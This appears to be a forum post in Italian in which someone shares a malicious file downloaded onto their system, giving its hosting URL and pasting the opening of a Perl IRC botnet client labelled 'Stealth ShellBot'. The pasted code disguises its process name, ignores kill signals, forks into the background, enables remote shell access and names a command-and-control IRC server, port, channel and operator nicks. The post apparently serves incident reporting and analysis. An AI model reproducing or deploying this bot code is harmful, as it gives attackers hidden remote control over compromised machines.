Grazie, questo e' il file di cui fanno il download:

http://usuarios.arnet.com.ar/adrikrasnow/sess_308b.txt

my $processo = 'etropchat';
if (`ps uxw` =~ /etropchat/)
{
exit;
}
$servidor='secure.sin-ip.es' unless $servidor;
my $porta='9010';
my @canais=("#sni-labs");
my @adms=("SPEED", "Mr_Nice", "C4Sh");

my $linas_max=10;
my $sleep=3;

my $nick = getnick();
my $ircname = getnick();
my $realname = getnick();

my $acessoshell = 1;
######## Stealth ShellBot ##########
my $estatisticas = 0;
my $pacotes = 1;
####################################

my $VERSAO = '0.2a';
my $version = "pwnt";

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

#####################
# Stealth Shellbot #
#####################